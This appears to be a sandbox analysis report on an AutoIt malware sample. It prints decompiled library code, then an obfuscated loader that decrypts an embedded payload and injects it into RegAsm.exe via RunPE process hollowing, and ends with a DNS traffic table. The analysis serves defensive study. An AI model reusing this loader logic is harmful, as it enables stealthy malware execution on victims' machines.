($TAGTIME_ZONE_INFORMATION ) DLLSTRUCTSETDATA ($TZONEINFO , "Bias" , $IBIAS ) DLLSTRUCTSETDATA ($TZONEINFO , "StdName" , $SSTDNAME ) _MEMMOVEMEMORY ($TSTDDATE , DLLSTRUCTGETPTR ($TZONEINFO , "StdDate" ) , DLLSTRUCTGETSIZE ($TSTDDATE ) ) DLLSTRUCTSETDATA ($TZONEINFO , "StdBias" , $ISTDBIAS ) DLLSTRUCTSETDATA ($TZONEINFO , "DayName" , $SDAYNAME ) _MEMMOVEMEMORY ($TDAYDATE , DLLSTRUCTGETPTR ($TZONEINFO , "DayDate" ) , DLLSTRUCTGETSIZE ($TDAYDATE ) ) DLLSTRUCTSETDATA ($TZONEINFO , "DayBias" , $IDAYBIAS ) LOCAL $HTOKEN = _SECURITY__OPENTHREADTOKENEX (BITOR ($TOKEN_ADJUST_PRIVILEGES , $TOKEN_QUERY ) ) IF @ERROR THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , FALSE ) _SECURITY__SETPRIVILEGE ($HTOKEN , "SeTimeZonePrivilege" , TRUE ) LOCAL $IERROR = @ERROR LOCAL $ILASTERROR = @EXTENDED LOCAL $BRET = FALSE IF NOT @ERROR THEN LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "SetTimeZoneInformation" , "struct*" , $TZONEINFO ) IF @ERROR THEN $IERROR = @ERROR $ILASTERROR = @EXTENDED ELSEIF $ARESULT [0 ] THEN $ILASTERROR = 0 $BRET = TRUE ELSE $IERROR = 20 $ILASTERROR = _WINAPI_GETLASTERROR () ENDIF _SECURITY__SETPRIVILEGE ($HTOKEN , "SeTimeZonePrivilege" , FALSE ) IF NOT $IERROR AND @ERROR THEN $IERROR = 22 ENDIF _WINAPI_CLOSEHANDLE ($HTOKEN ) RETURN SETERROR ($IERROR , $ILASTERROR , $BRET ) ENDFUNC FUNC _DATE_TIME_SYSTEMTIMETOARRAY (BYREF $TSYSTEMTIME ) LOCAL $AINFO [8 ] $AINFO [0 ] = DLLSTRUCTGETDATA ($TSYSTEMTIME , "Month" ) $AINFO [1 ] = DLLSTRUCTGETDATA ($TSYSTEMTIME , "Day" ) $AINFO [2 ] = DLLSTRUCTGETDATA ($TSYSTEMTIME , "Year" ) $AINFO [3 ] = DLLSTRUCTGETDATA ($TSYSTEMTIME , "Hour" ) $AINFO [4 ] = DLLSTRUCTGETDATA ($TSYSTEMTIME , "Minute" ) $AINFO [5 ] = DLLSTRUCTGETDATA ($TSYSTEMTIME , "Second" ) $AINFO [6 ] = DLLSTRUCTGETDATA ($TSYSTEMTIME , "MSeconds" ) $AINFO [7 ] = DLLSTRUCTGETDATA ($TSYSTEMTIME , "DOW" ) RETURN $AINFO ENDFUNC FUNC _DATE_TIME_SYSTEMTIMETODATESTR (BYREF $TSYSTEMTIME , $IFMT = 0 ) LOCAL $AINFO = _DATE_TIME_SYSTEMTIMETOARRAY ($TSYSTEMTIME ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) IF $IFMT THEN RETURN STRINGFORMAT ("%04d/%02d/%02d" , $AINFO [2 ] , $AINFO [0 ] , $AINFO [1 ] ) ELSE RETURN STRINGFORMAT ("%02d/%02d/%04d" , $AINFO [0 ] , $AINFO [1 ] , $AINFO [2 ] ) ENDIF ENDFUNC FUNC _DATE_TIME_SYSTEMTIMETODATETIMESTR (BYREF $TSYSTEMTIME , $IFMT = 0 ) LOCAL $AINFO = _DATE_TIME_SYSTEMTIMETOARRAY ($TSYSTEMTIME ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) IF $IFMT THEN RETURN STRINGFORMAT ("%04d/%02d/%02d %02d:%02d:%02d" , $AINFO [2 ] , $AINFO [0 ] , $AINFO [1 ] , $AINFO [3 ] , $AINFO [4 ] , $AINFO [5 ] ) ELSE RETURN STRINGFORMAT ("%02d/%02d/%04d %02d:%02d:%02d" , $AINFO [0 ] , $AINFO [1 ] , $AINFO [2 ] , $AINFO [3 ] , $AINFO [4 ] , $AINFO [5 ] ) ENDIF ENDFUNC FUNC _DATE_TIME_SYSTEMTIMETOFILETIME ($TSYSTEMTIME ) LOCAL $TFILETIME = DLLSTRUCTCREATE ($TAGFILETIME ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "SystemTimeToFileTime" , "struct*" , $TSYSTEMTIME , "struct*" , $TFILETIME ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN SETEXTENDED ($ARESULT [0 ] , $TFILETIME ) ENDFUNC FUNC _DATE_TIME_SYSTEMTIMETOTIMESTR (BYREF $TSYSTEMTIME ) LOCAL $AINFO = _DATE_TIME_SYSTEMTIMETOARRAY ($TSYSTEMTIME ) RETURN STRINGFORMAT ("%02d:%02d:%02d" , $AINFO [3 ] , $AINFO [4 ] , $AINFO [5 ] ) ENDFUNC FUNC _DATE_TIME_SYSTEMTIMETOTZSPECIFICLOCALTIME ($TUTC , $TTIMEZONE = 0 ) LOCAL $TLOCALTIME = DLLSTRUCTCREATE ($TAGSYSTEMTIME ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "SystemTimeToTzSpecificLocalTime" , "struct*" , $TTIMEZONE , "struct*" , $TUTC , "struct*" , $TLOCALTIME ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN SETEXTENDED ($ARESULT [0 ] , $TLOCALTIME ) ENDFUNC FUNC _DATE_TIME_TZSPECIFICLOCALTIMETOSYSTEMTIME ($TLOCALTIME , $TTIMEZONE = 0 ) LOCAL $TUTC = DLLSTRUCTCREATE ($TAGSYSTEMTIME ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "TzSpecificLocalTimeToSystemTime" , "struct*" , $TTIMEZONE , "struct*" , $TLOCALTIME , "struct*" , $TUTC ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN SETEXTENDED ($ARESULT [0 ] , $TUTC ) ENDFUNC GLOBAL CONST $INET_LOCALCACHE = 0 GLOBAL CONST $INET_FORCERELOAD = 1 GLOBAL CONST $INET_IGNORESSL = 2 GLOBAL CONST $INET_ASCIITRANSFER = 4 GLOBAL CONST $INET_BINARYTRANSFER = 8 GLOBAL CONST $INET_FORCEBYPASS = 16 GLOBAL CONST $INET_DOWNLOADWAIT = 0 GLOBAL CONST $INET_DOWNLOADBACKGROUND = 1 GLOBAL CONST $INET_DOWNLOADREAD = 0 GLOBAL CONST $INET_DOWNLOADSIZE = 1 GLOBAL CONST $INET_DOWNLOADCOMPLETE = 2 GLOBAL CONST $INET_DOWNLOADSUCCESS = 3 GLOBAL CONST $INET_DOWNLOADERROR = 4 GLOBAL CONST $INET_DOWNLOADEXTENDED = 5 FUNC _GETIP () LOCAL CONST $GETIP_TIMER = 300000 LOCAL STATIC $HTIMER = 0 LOCAL STATIC $SLASTIP = 0 IF TIMERDIFF ($HTIMER ) < $GETIP_TIMER AND NOT $SLASTIP THEN RETURN SETEXTENDED (1 , $SLASTIP ) ENDIF LOCAL $AGETIPURL = ["https://api.ipify.org" , "http://checkip.dyndns.org" , "http://www.myexternalip.com/raw" , "http://bot.whatismyipaddress.com" ] , $ARETURN = 0 , $SRETURN = "" FOR $I = 0 TO UBOUND ($AGETIPURL ) + 4294967295 $SRETURN = INETREAD ($AGETIPURL [$I ] ) IF @ERROR OR $SRETURN == "" THEN CONTINUELOOP $ARETURN = STRINGREGEXP (BINARYTOSTRING ($SRETURN ) , "((?:\d{1,3}\.){3}\d{1,3})" , $STR_REGEXPARRAYGLOBALMATCH ) IF NOT @ERROR THEN $SRETURN = $ARETURN [0 ] EXITLOOP ENDIF $SRETURN = "" NEXT $HTIMER = TIMERINIT () $SLASTIP = $SRETURN IF $SRETURN == "" THEN RETURN SETERROR (1 , 0 , + 4294967295 ) RETURN $SRETURN ENDFUNC FUNC _INETEXPLORERCAPABLE ($SIESTRING ) IF STRINGLEN ($SIESTRING ) <= 0 THEN RETURN SETERROR (1 , 0 , "" ) LOCAL $S_IERETURN LOCAL $N_IECHAR FOR $I_IECOUNT = 1 TO STRINGLEN ($SIESTRING ) $N_IECHAR = "0x" & HEX (ASC (STRINGMID ($SIESTRING , $I_IECOUNT , 1 ) ) , 2 ) IF $N_IECHAR < 33 OR $N_IECHAR = 37 OR $N_IECHAR = 47 OR $N_IECHAR > 127 THEN $S_IERETURN = $S_IERETURN & "%" & STRINGRIGHT ($N_IECHAR , 2 ) ELSE $S_IERETURN = $S_IERETURN & CHR ($N_IECHAR ) ENDIF NEXT RETURN $S_IERETURN ENDFUNC FUNC _INETGETSOURCE ($SURL , $BSTRING = TRUE ) LOCAL $SSTRING = INETREAD ($SURL , $INET_FORCERELOAD ) LOCAL $IERROR = @ERROR , $IEXTENDED = @EXTENDED IF $BSTRING = DEFAULT OR $BSTRING THEN $SSTRING = BINARYTOSTRING ($SSTRING ) RETURN SETERROR ($IERROR , $IEXTENDED , $SSTRING ) ENDFUNC FUNC _INETMAIL ($SMAILTO , $SMAILSUBJECT , $SMAILBODY ) LOCAL $IPREV = OPT ("ExpandEnvStrings" , 1 ) LOCAL $SVAR , $SDFLT = REGREAD ("HKCU\Software\Clients\Mail" , "" ) IF $SDFLT = "Windows Live Mail" THEN $SVAR = REGREAD ("HKCR\WLMail.Url.Mailto\Shell\open\command" , "" ) ELSE $SVAR = REGREAD ("HKCR\mailto\shell\open\command" , "" ) ENDIF LOCAL $IRET = RUN (STRINGREPLACE ($SVAR , "%1" , _INETEXPLORERCAPABLE ("mailto:" & $SMAILTO & "?subject=" & $SMAILSUBJECT & "&body=" & $SMAILBODY ) ) ) LOCAL $IERROR = @ERROR , $IEXTENDED = @EXTENDED OPT ("ExpandEnvStrings" , $IPREV ) RETURN SETERROR ($IERROR , $IEXTENDED , $IRET ) ENDFUNC FUNC _INETSMTPMAIL ($SSMTPSERVER , $SFROMNAME , $SFROMADDRESS , $STOADDRESS , $SSUBJECT = "" , $ABODY = "" , $SEHLO = "" , $SFIRST = "" , $BTRACE = 0 ) IF $SSMTPSERVER = "" OR $SFROMADDRESS = "" OR $STOADDRESS = "" OR $SFROMNAME = "" OR STRINGLEN ($SFROMNAME ) > 256 THEN RETURN SETERROR (1 , 0 , 0 ) IF $SEHLO = "" THEN $SEHLO = @COMPUTERNAME IF TCPSTARTUP () = 0 THEN RETURN SETERROR (2 , 0 , 0 ) LOCAL $S_IPADDRESS , $I_COUNT IF STRINGREGEXP ($SSMTPSERVER , "^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$" ) THEN $S_IPADDRESS = $SSMTPSERVER ELSE $S_IPADDRESS = TCPNAMETOIP ($SSMTPSERVER ) ENDIF IF $S_IPADDRESS = "" THEN TCPSHUTDOWN () RETURN SETERROR (3 , 0 , 0 ) ENDIF LOCAL $VSOCKET = TCPCONNECT ($S_IPADDRESS , 25 ) IF $VSOCKET = + 4294967295 THEN TCPSHUTDOWN () RETURN SETERROR (4 , 0 , 0 ) ENDIF LOCAL $ASEND [6 ] , $AREPLYCODE [6 ] $ASEND [0 ] = "HELO " & $SEHLO & @CRLF IF STRINGLEFT ($SEHLO , 5 ) = "EHLO " THEN $ASEND [0 ] = $SEHLO & @CRLF $AREPLYCODE [0 ] = "250" $ASEND [1 ] = "MAIL FROM: <" & $SFROMADDRESS & ">" & @CRLF $AREPLYCODE [1 ] = "250" $ASEND [2 ] = "RCPT TO: <" & $STOADDRESS & ">" & @CRLF $AREPLYCODE [2 ] = "250" $ASEND [3 ] = "DATA" & @CRLF $AREPLYCODE [3 ] = "354" LOCAL $ARESULT = _DATE_TIME_GETTIMEZONEINFORMATION () LOCAL $IBIAS = - $ARESULT [1 ] / 60 LOCAL $IBIASH = INT ($IBIAS ) LOCAL $IBIASM = 0 IF $IBIASH <> $IBIAS THEN $IBIASM = ABS ($IBIAS - $IBIASH ) * 60 $IBIAS = STRINGFORMAT (" (%+.2d%.2d)" , $IBIASH , $IBIASM ) $ASEND [4 ] = "From:" & $SFROMNAME & "<" & $SFROMADDRESS & ">" & @CRLF & "To:" & "<" & $STOADDRESS & ">" & @CRLF & "Subject:" & $SSUBJECT & @CRLF & "Mime-Version: 1.0" & @CRLF & "Date: " & _DATEDAYOFWEEK (@WDAY , 1 ) & ", " & @MDAY & " " & _DATETOMONTH (@MON , 1 ) & " " & @YEAR & " " & @HOUR & ":" & @MIN & ":" & @SEC & $IBIAS & @CRLF & "Content-Type: text/plain; charset=US-ASCII" & @CRLF & @CRLF $AREPLYCODE [4 ] = "" $ASEND [5 ] = @CRLF & "." & @CRLF $AREPLYCODE [5 ] = "250" IF __SMTPSEND ($VSOCKET , $ASEND [0 ] , $AREPLYCODE [0 ] , $BTRACE , "220" , $SFIRST ) THEN RETURN SETERROR (50 , 0 , 0 ) FOR $I_COUNT = 1 TO UBOUND ($ASEND ) + 4294967294 IF __SMTPSEND ($VSOCKET , $ASEND [$I_COUNT ] , $AREPLYCODE [$I_COUNT ] , $BTRACE ) THEN RETURN SETERROR (50 + $I_COUNT , 0 , 0 ) NEXT FOR $I_COUNT = 0 TO UBOUND ($ABODY ) + 4294967295 IF STRINGLEFT ($ABODY [$I_COUNT ] , 1 ) = "." THEN $ABODY [$I_COUNT ] = "." & $ABODY [$I_COUNT ] IF __SMTPSEND ($VSOCKET , $ABODY [$I_COUNT ] & @CRLF , "" , $BTRACE ) THEN RETURN SETERROR (500 + $I_COUNT , 0 , 0 ) NEXT $I_COUNT = UBOUND ($ASEND ) + 4294967295 IF __SMTPSEND ($VSOCKET , $ASEND [$I_COUNT ] , $AREPLYCODE [$I_COUNT ] , $BTRACE ) THEN RETURN SETERROR (5000 , 0 , 0 ) TCPCLOSESOCKET ($VSOCKET ) TCPSHUTDOWN () RETURN 1 ENDFUNC FUNC __SMTPTRACE ($SSTR , $ITIMEOUT = 0 ) LOCAL $SW_TITLE = "SMTP trace" LOCAL $SSMTPTRACE = CONTROLGETTEXT ($SW_TITLE , "" , "Static1" ) $SSTR = STRINGLEFT (STRINGREPLACE ($SSTR , @CRLF , "" ) , 70 ) $SSMTPTRACE &= @HOUR & ":" & @MIN & ":" & @SEC & " " & $SSTR & @LF IF WINEXISTS ($SW_TITLE ) THEN CONTROLSETTEXT ($SW_TITLE , "" , "Static1" , $SSMTPTRACE ) ELSE SPLASHTEXTON ($SW_TITLE , $SSMTPTRACE , 400 , 500 , 500 , 100 , 4 + 16 , "" , 8 ) ENDIF IF $ITIMEOUT THEN SLEEP ($ITIMEOUT * 1000 ) ENDFUNC FUNC __SMTPSEND ($VSOCKET , $SSEND , $SREPLYCODE , $BTRACE , $SINTREPLY = "" , $SFIRST = "" ) LOCAL $SRECEIVE , $I , $HTIMER IF $BTRACE THEN __SMTPTRACE ($SSEND ) IF $SINTREPLY <> "" THEN IF $SFIRST <> + 4294967295 THEN IF TCPSEND ($VSOCKET , $SFIRST ) = 0 THEN TCPCLOSESOCKET ($VSOCKET ) TCPSHUTDOWN () RETURN 1 ENDIF ENDIF $SRECEIVE = "" $HTIMER = TIMERINIT () WHILE STRINGLEFT ($SRECEIVE , STRINGLEN ($SINTREPLY ) ) <> $SINTREPLY AND TIMERDIFF ($HTIMER ) < 45000 $SRECEIVE = TCPRECV ($VSOCKET , 1000 ) IF $BTRACE AND $SRECEIVE <> "" THEN __SMTPTRACE ("intermediate->" & $SRECEIVE ) WEND ENDIF IF TCPSEND ($VSOCKET , $SSEND ) = 0 THEN TCPCLOSESOCKET ($VSOCKET ) TCPSHUTDOWN () RETURN 1 ENDIF $HTIMER = TIMERINIT () $SRECEIVE = "" WHILE $SRECEIVE = "" AND TIMERDIFF ($HTIMER ) < 45000 $I += 1 $SRECEIVE = TCPRECV ($VSOCKET , 1000 ) IF $SREPLYCODE = "" THEN EXITLOOP WEND IF $SREPLYCODE <> "" THEN IF $BTRACE THEN __SMTPTRACE ($I & " <- " & $SRECEIVE ) IF STRINGLEFT ($SRECEIVE , STRINGLEN ($SREPLYCODE ) ) <> $SREPLYCODE THEN TCPCLOSESOCKET ($VSOCKET ) TCPSHUTDOWN () IF $BTRACE THEN __SMTPTRACE ("<-> " & $SREPLYCODE , 5 ) RETURN 2 ENDIF ENDIF RETURN 0 ENDFUNC FUNC _TCPIPTONAME ($SIP , $IOPTION = DEFAULT , $HDLL = DEFAULT ) LOCAL $IINADDR_NONE = 4294967295 , $IAF_INET = 2 , $SSEPARATOR = @CR IF $IOPTION = DEFAULT THEN $IOPTION = 0 IF $HDLL = DEFAULT THEN $HDLL = "ws2_32.dll" LOCAL $AVDLLCALL = DLLCALL ($HDLL , "ulong" , "inet_addr" , "STR" , $SIP ) IF @ERROR THEN RETURN SETERROR (1 , 0 , "" ) LOCAL $VBINIP = $AVDLLCALL [0 ] IF $VBINIP = $IINADDR_NONE THEN RETURN SETERROR (2 , 0 , "" ) $AVDLLCALL = DLLCALL ($HDLL , "ptr" , "gethostbyaddr" , "ptr*" , $VBINIP , "int" , 4 , "int" , $IAF_INET ) IF @ERROR THEN RETURN SETERROR (3 , 0 , "" ) LOCAL $PVHOSTENT = $AVDLLCALL [0 ] IF $PVHOSTENT = 0 THEN $AVDLLCALL = DLLCALL ($HDLL , "int" , "WSAGetLastError" ) IF @ERROR THEN RETURN SETERROR (5 , 0 , "" ) RETURN SETERROR (4 , $AVDLLCALL [0 ] , "" ) ENDIF LOCAL $THOSTENT = DLLSTRUCTCREATE ("ptr;ptr;short;short;ptr" , $PVHOSTENT ) LOCAL $SHOSTNAMES = __TCPIPTONAME_SZSTRINGREAD (DLLSTRUCTGETDATA ($THOSTENT , 1 ) ) IF @ERROR THEN RETURN SETERROR (6 , 0 , $SHOSTNAMES ) IF $IOPTION = 1 THEN LOCAL $TALIASES $SHOSTNAMES &= $SSEPARATOR FOR $I = 0 TO 63 $TALIASES = DLLSTRUCTCREATE ("ptr" , DLLSTRUCTGETDATA ($THOSTENT , 2 ) + ($I * 4 ) ) IF DLLSTRUCTGETDATA ($TALIASES , 1 ) = 0 THEN EXITLOOP $SHOSTNAMES &= __TCPIPTONAME_SZSTRINGREAD (DLLSTRUCTGETDATA ($TALIASES , 1 ) ) IF @ERROR THEN SETERROR (7 ) EXITLOOP ENDIF NEXT RETURN STRINGSPLIT (STRINGSTRIPWS ($SHOSTNAMES , $STR_STRIPTRAILING ) , @CR ) ELSE RETURN $SHOSTNAMES ENDIF ENDFUNC FUNC __TCPIPTONAME_SZSTRINGREAD ($PSTR , $ILEN = + 4294967295 ) LOCAL $TSTRING IF $PSTR < 1 THEN RETURN "" IF $ILEN < 0 THEN $ILEN = _WINAPI_STRLEN ($PSTR , FALSE ) $TSTRING = DLLSTRUCTCREATE ("char[" & $ILEN & "]" , $PSTR ) IF @ERROR THEN RETURN SETERROR (2 , 0 , "" ) RETURN SETEXTENDED ($ILEN , DLLSTRUCTGETDATA ($TSTRING , 1 ) ) ENDFUNC GLOBAL CONST $VK_LBUTTON = 1 GLOBAL CONST $VK_RBUTTON = 2 GLOBAL CONST $VK_CANCEL = 3 GLOBAL CONST $VK_MBUTTON = 4 GLOBAL CONST $VK_XBUTTON1 = 5 GLOBAL CONST $VK_XBUTTON2 = 6 GLOBAL CONST $VK_BACK = 8 GLOBAL CONST $VK_TAB = 9 GLOBAL CONST $VK_CLEAR = 12 GLOBAL CONST $VK_RETURN = 13 GLOBAL CONST $VK_SHIFT = 16 GLOBAL CONST $VK_CONTROL = 17 GLOBAL CONST $VK_MENU = 18 GLOBAL CONST $VK_PAUSE = 19 GLOBAL CONST $VK_CAPITAL = 20 GLOBAL CONST $VK_KANA = 21 GLOBAL CONST $VK_HANGUL = 21 GLOBAL CONST $VK_JUNJA = 23 GLOBAL CONST $VK_FINAL = 24 GLOBAL CONST $VK_HANJA = 25 GLOBAL CONST $VK_KANJI = 25 GLOBAL CONST $VK_ESCAPE = 27 GLOBAL CONST $VK_CONVERT = 28 GLOBAL CONST $VK_NONCONVERT = 29 GLOBAL CONST $VK_ACCEPT = 30 GLOBAL CONST $VK_MODECHANGE = 31 GLOBAL CONST $VK_SPACE = 32 GLOBAL CONST $VK_PRIOR = 33 GLOBAL CONST $VK_NEXT = 34 GLOBAL CONST $VK_END = 35 GLOBAL CONST $VK_HOME = 36 GLOBAL CONST $VK_LEFT = 37 GLOBAL CONST $VK_UP = 38 GLOBAL CONST $VK_RIGHT = 39 GLOBAL CONST $VK_DOWN = 40 GLOBAL CONST $VK_SELECT = 41 GLOBAL CONST $VK_PRINT = 42 GLOBAL CONST $VK_EXECUTE = 43 GLOBAL CONST $VK_SNAPSHOT = 44 GLOBAL CONST $VK_INSERT = 45 GLOBAL CONST $VK_DELETE = 46 GLOBAL CONST $VK_HELP = 47 GLOBAL CONST $VK_0 = 48 GLOBAL CONST $VK_1 = 49 GLOBAL CONST $VK_2 = 50 GLOBAL CONST $VK_3 = 51 GLOBAL CONST $VK_4 = 52 GLOBAL CONST $VK_5 = 53 GLOBAL CONST $VK_6 = 54 GLOBAL CONST $VK_7 = 55 GLOBAL CONST $VK_8 = 56 GLOBAL CONST $VK_9 = 57 GLOBAL CONST $VK_A = 65 GLOBAL CONST $VK_B = 66 GLOBAL CONST $VK_C = 67 GLOBAL CONST $VK_D = 68 GLOBAL CONST $VK_E = 69 GLOBAL CONST $VK_F = 70 GLOBAL CONST $VK_G = 71 GLOBAL CONST $VK_H = 72 GLOBAL CONST $VK_I = 73 GLOBAL CONST $VK_J = 74 GLOBAL CONST $VK_K = 75 GLOBAL CONST $VK_L = 76 GLOBAL CONST $VK_M = 77 GLOBAL CONST $VK_N = 78 GLOBAL CONST $VK_O = 79 GLOBAL CONST $VK_P = 80 GLOBAL CONST $VK_Q = 81 GLOBAL CONST $VK_R = 82 GLOBAL CONST $VK_S = 83 GLOBAL CONST $VK_T = 84 GLOBAL CONST $VK_U = 85 GLOBAL CONST $VK_V = 86 GLOBAL CONST $VK_W = 87 GLOBAL CONST $VK_X = 88 GLOBAL CONST $VK_Y = 89 GLOBAL CONST $VK_Z = 90 GLOBAL CONST $VK_LWIN = 91 GLOBAL CONST $VK_RWIN = 92 GLOBAL CONST $VK_APPS = 93 GLOBAL CONST $VK_SLEEP = 95 GLOBAL CONST $VK_NUMPAD0 = 96 GLOBAL CONST $VK_NUMPAD1 = 97 GLOBAL CONST $VK_NUMPAD2 = 98 GLOBAL CONST $VK_NUMPAD3 = 99 GLOBAL CONST $VK_NUMPAD4 = 100 GLOBAL CONST $VK_NUMPAD5 = 101 GLOBAL CONST $VK_NUMPAD6 = 102 GLOBAL CONST $VK_NUMPAD7 = 103 GLOBAL CONST $VK_NUMPAD8 = 104 GLOBAL CONST $VK_NUMPAD9 = 105 GLOBAL CONST $VK_MULTIPLY = 106 GLOBAL CONST $VK_ADD = 107 GLOBAL CONST $VK_SEPARATOR = 108 GLOBAL CONST $VK_SUBTRACT = 109 GLOBAL CONST $VK_DECIMAL = 110 GLOBAL CONST $VK_DIVIDE = 111 GLOBAL CONST $VK_F1 = 112 GLOBAL CONST $VK_F2 = 113 GLOBAL CONST $VK_F3 = 114 GLOBAL CONST $VK_F4 = 115 GLOBAL CONST $VK_F5 = 116 GLOBAL CONST $VK_F6 = 117 GLOBAL CONST $VK_F7 = 118 GLOBAL CONST $VK_F8 = 119 GLOBAL CONST $VK_F9 = 120 GLOBAL CONST $VK_F10 = 121 GLOBAL CONST $VK_F11 = 122 GLOBAL CONST $VK_F12 = 123 GLOBAL CONST $VK_F13 = 124 GLOBAL CONST $VK_F14 = 125 GLOBAL CONST $VK_F15 = 126 GLOBAL CONST $VK_F16 = 127 GLOBAL CONST $VK_F17 = 128 GLOBAL CONST $VK_F18 = 129 GLOBAL CONST $VK_F19 = 130 GLOBAL CONST $VK_F20 = 131 GLOBAL CONST $VK_F21 = 132 GLOBAL CONST $VK_F22 = 133 GLOBAL CONST $VK_F23 = 134 GLOBAL CONST $VK_F24 = 135 GLOBAL CONST $VK_NUMLOCK = 144 GLOBAL CONST $VK_SCROLL = 145 GLOBAL CONST $VK_LSHIFT = 160 GLOBAL CONST $VK_RSHIFT = 161 GLOBAL CONST $VK_LCONTROL = 162 GLOBAL CONST $VK_RCONTROL = 163 GLOBAL CONST $VK_LMENU = 164 GLOBAL CONST $VK_RMENU = 165 GLOBAL CONST $VK_BROWSER_BACK = 166 GLOBAL CONST $VK_BROWSER_FORWARD = 167 GLOBAL CONST $VK_BROWSER_REFRESH = 168 GLOBAL CONST $VK_BROWSER_STOP = 169 GLOBAL CONST $VK_BROWSER_SEARCH = 170 GLOBAL CONST $VK_BROWSER_FAVORITES = 171 GLOBAL CONST $VK_BROWSER_HOME = 172 GLOBAL CONST $VK_VOLUME_MUTE = 173 GLOBAL CONST $VK_VOLUME_DOWN = 174 GLOBAL CONST $VK_VOLUME_UP = 175 GLOBAL CONST $VK_MEDIA_NEXT_TRACK = 176 GLOBAL CONST $VK_MEDIA_PREV_TRACK = 177 GLOBAL CONST $VK_MEDIA_STOP = 178 GLOBAL CONST $VK_MEDIA_PLAY_PAUSE = 179 GLOBAL CONST $VK_LAUNCH_MAIL = 180 GLOBAL CONST $VK_LAUNCH_MEDIA_SELECT = 181 GLOBAL CONST $VK_LAUNCH_APP1 = 182 GLOBAL CONST $VK_LAUNCH_APP2 = 183 GLOBAL CONST $VK_OEM_1 = 186 GLOBAL CONST $VK_OEM_PLUS = 187 GLOBAL CONST $VK_OEM_COMMA = 188 GLOBAL CONST $VK_OEM_MINUS = 189 GLOBAL CONST $VK_OEM_PERIOD = 190 GLOBAL CONST $VK_OEM_2 = 191 GLOBAL CONST $VK_OEM_3 = 192 GLOBAL CONST $VK_OEM_4 = 219 GLOBAL CONST $VK_OEM_5 = 220 GLOBAL CONST $VK_OEM_6 = 221 GLOBAL CONST $VK_OEM_7 = 222 GLOBAL CONST $VK_OEM_8 = 223 GLOBAL CONST $VK_OEM_102 = 226 GLOBAL CONST $VK_PROCESSKEY = 229 GLOBAL CONST $VK_PACKET = 231 GLOBAL CONST $VK_ATTN = 246 GLOBAL CONST $VK_CRSEL = 247 GLOBAL CONST $VK_EXSEL = 248 GLOBAL CONST $VK_EREOF = 249 GLOBAL CONST $VK_PLAY = 250 GLOBAL CONST $VK_ZOOM = 251 GLOBAL CONST $VK_NONAME = 252 GLOBAL CONST $VK_PA1 = 253 GLOBAL CONST $VK_OEM_CLEAR = 254 DIM $STWGFKWWOFYRYTVJWBUHZVJYOCVTSEGV LOCAL $STARTUPDIR = @APPDATADIR & "\Gfxv2_0" LOCAL $BOOL = @SCRIPTDIR = $STARTUPDIR "True" "False" LOCAL $GUI = GUICREATE ("" , "350" , "100" , "0" , "0" , "0" , "-999" ) WHILE ("1" ) GUISETSTATE (@SW_SHOW ) LSVTGEQXOY () VFNIVSZMZI () VGPSDSMHIF ("53" , "45000" ) ZJFEKVYJJF ("sdchange" , "RMActivate_isv.exe" ) $STWGFKWWOFYRYTVJWBUHZVJYOCVTSEGV = EJTUMKGNAG ("0x53656345646974567C6375726C6E" , "0x434B5961674F4762524C467848624473567862694A455657466E574356766E4A" , "6" ) DIM $MLAETEGEXLRN = EXECUTE ("@HomeDrive & "\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe"" ) DIM $FUAGJWKYSDOC = EXECUTE ("@HomeDrive & "\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"" ) IF FILEEXISTS ($MLAETEGEXLRN ) THEN RUNPE ($MLAETEGEXLRN , $STWGFKWWOFYRYTVJWBUHZVJYOCVTSEGV , TRUE , TRUE ) ELSEIF FILEEXISTS ($FUAGJWKYSDOC ) THEN RUNPE ($FUAGJWKYSDOC , $STWGFKWWOFYRYTVJWBUHZVJYOCVTSEGV , TRUE , TRUE ) ENDIF JBBXBRVVWS () EXITLOOP WEND FUNC JBBXBRVVWS ()

              Network Behavior

              Network Port Distribution

              UDP Packets

              TimestampSource PortDest PortSource IPDest IP
              Sep 15, 2021 13:55:56.193998098 CEST5451353192.168.2.68.8.8.8
              Sep 15, 2021 13:55:56.221251965 CEST53545138.8.8.8192.168.2.6
              Sep 15, 2021 13:55:56.458406925 CEST6204453192.168.2.68.8.8.8
              Sep 15, 2021 13:55:56.486057997 CEST53620448.8.8.8192.168.2.6
              Sep 15, 2021 13:55:58.620229006 CEST6379153192.168.2.68.8.8.8
              Sep 15, 2021 13:55:58.645355940 CEST53637918.8.8.8192.168.2.6
              Sep 15, 2021 13:56:01.724242926 CEST6426753192.168.2.68.8.8.8
              Sep 15, 2021 13:56:01.757056952 CEST53642678.8.8.8192.168.2.6
              Sep 15, 2021 13:56:35.843023062 CEST4944853192.168.2.68.8.8.8
              Sep 15, 2021 13:56:35.876810074 CEST53494488.8.8.8192.168.2.6
              Sep 15, 2021 13:56:48.916340113 CEST6034253192.168.2.68.8.8.8
              Sep 15, 2021 13:56:48.951920033 CEST53603428.8.8.8192.168.2.6
              Sep 15, 2021 13:56:53.921586990 CEST6134653192.168.2.68.8.8.8
              Sep 15, 2021 13:56:53.966682911 CEST53613468.8.8.8192.168.2.6
              Sep 15, 2021 13:56:54.964948893 CEST5177453192.168.2.68.8.8.8
              Sep 15, 2021 13:56:54.989600897 CEST53517748.8.8.8192.168.2.6
              Sep 15, 2021 13:56:55.612751007 CEST5602353192.168.2.68.8.8.8
              Sep 15, 2021 13:56:55.677202940 CEST53560238.8.8.8192.168.2.6
              Sep 15, 2021 13:56:56.170588970 CEST5838453192.168.2.68.8.8.8
              Sep 15, 2021 13:56:56.221203089 CEST53583848.8.8.8192.168.2.6
